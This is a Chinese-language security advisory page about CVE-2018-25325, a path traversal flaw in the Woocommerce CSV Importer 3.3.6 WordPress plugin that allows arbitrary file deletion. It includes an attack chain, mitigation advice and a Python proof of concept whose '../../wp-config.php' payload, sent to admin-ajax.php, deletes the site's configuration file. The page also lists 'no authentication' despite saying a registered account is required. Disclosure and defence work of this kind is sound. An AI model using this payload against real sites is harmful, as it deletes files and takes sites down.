IPBUF安全漏洞报告
English
CVE-2018-25325 CVSS 7.5 高危

CVE-2018-25325: Woocommerce CSV Importer路径遍历漏洞

披露日期: 2026-05-17

漏洞信息

漏洞编号
CVE-2018-25325
漏洞类型
路径遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Woocommerce CSV Importer

相关标签

路径遍历WordPressWoocommerce任意文件删除CVE-2018-25325

漏洞概述

CVE-2018-25325 是存在于 Woocommerce CSV Importer 插件 3.3.6 版本中的一个高危路径遍历漏洞。该漏洞允许任何注册用户利用 `delete_export_file` AJAX 动作,通过提交未经适当转义的文件名参数,删除服务器上的任意文件。攻击者能够在文件名参数中精心构造目录遍历序列(如 `../`),从而绕过原本预期的导出目录限制,删除诸如 `wp-config.php` 等关键敏感文件。虽然 CVSS 评分主要侧重于机密性影响,但删除核心配置文件实际上会导致网站服务完全中断,构成了严重的拒绝服务风险,且攻击过程无需用户交互,利用难度较低。

技术细节

该漏洞的技术根源在于插件后端代码在处理 `delete_export_file` AJAX 请求时,存在输入验证缺失的问题。具体而言,接收文件名参数的函数未对输入数据进行严格的格式校验或路径规范化处理,直接将用户可控的字符串传递给了文件删除函数。这使得攻击者可以注入包含父目录引用符(`../`)的恶意路径。

在攻击利用阶段,攻击者首先需要在目标 WordPress 站点注册一个账户。随后,利用该账户的 Cookie 或 Session,向 `/wp-admin/admin-ajax.php` 端点发送特制的 POST 请求。请求参数中 `action` 设为 `delete_export_file`,而 `filename` 参数则设为指向敏感文件的遍历路径(例如 `../../../wp-config.php`)。由于缺乏安全过滤,服务器会错误地将该路径解析为合法文件路径并执行删除操作。成功利用此漏洞不仅会导致数据丢失,还可能通过删除配置文件使站点彻底瘫痪,且攻击者无需具备管理员权限即可实施。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站是否安装了受影响的 Woocommerce CSV Importer 3.3.6 插件。
STEP 2
获取访问权限
攻击者在目标 WordPress 网站上注册一个普通用户账户,因为漏洞利用需要已注册用户的权限。
STEP 3
构造恶意请求
攻击者构造包含目录遍历载荷(如 `../../wp-config.php`)的 POST 请求,目标指向 `/wp-admin/admin-ajax.php`,参数包含 `action=delete_export_file`。
STEP 4
执行攻击
服务器端插件处理该请求,未过滤文件名中的特殊字符,导致删除了 Web 根目录下的敏感文件。
STEP 5
造成影响
关键配置文件(如 wp-config.php)被删除,导致网站无法连接数据库或完全瘫痪。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "http://example.com/wp-admin/admin-ajax.php" username = "attacker" password = "password" # Initialize session session = requests.Session() # 1. Authenticate (Simulated login process) # In a real exploit, you would POST to wp-login.php to get a valid cookie login_url = target_url.replace('admin-ajax.php', 'wp-login.php') login_data = { 'log': username, 'pwd': password, 'redirect_to': '', 'testcookie': '1' } # session.post(login_url, data=login_data) # Uncomment to actually login # 2. Prepare the payload for Path Traversal # The filename parameter uses '../' to traverse to the root and delete wp-config.php exploit_data = { 'action': 'delete_export_file', 'filename': '../../wp-config.php' } # 3. Send the malicious request try: response = session.post(target_url, data=exploit_data) # 4. Check response if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Server response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Woocommerce CSV Importer 3.3.6

防御指南

临时缓解措施
建议立即将 Woocommerce CSV Importer 插件更新到最新版本以修复此漏洞。如果暂时无法升级,应禁用该插件或限制对 WordPress AJAX 接口(`admin-ajax.php`)的访问权限,仅允许受信任的 IP 地址调用。此外,管理员应检查服务器日志,确认是否有针对该接口的可疑删除操作,并及时从备份中恢复可能被删除的重要文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表